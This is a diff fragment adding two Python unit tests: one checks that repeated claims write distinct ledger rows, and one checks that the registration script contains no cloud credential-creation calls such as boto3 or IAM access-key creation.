+ def test_a_second_claim_writes_its_own_ledger_row(self) -> None:
329
+ """Not a duplicate: the ledger counts disclosures."""
330
+ api, _ = self.issue_twice()
331
+ paths = [
332
+ c.kwargs.get("path_in_repo")
333
+ for c in api.upload_file.call_args_list
334
+ if str(c.kwargs.get("path_in_repo", "")).startswith(self.rt.LEDGER_DIR)
335
+ ]
336
+ self.assertEqual(len(paths), 2)
337
+ self.assertEqual(len(set(paths)), 2, "rows must not collide and overwrite")
338
+
339
+ def test_no_credential_is_ever_created_by_registering(self) -> None:
340
+ """The Space cannot mint. It looks a team up in a deposited map."""
341
+ src = open(
342
+ os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir,
343
+ "register_test.py")
344
+ ).read()
345
+ for verb in ("create-access-key", "create_access_key", "boto3", "iam"):
346
+ self.assertNotIn(verb, src, f"registration must not reach for {verb}")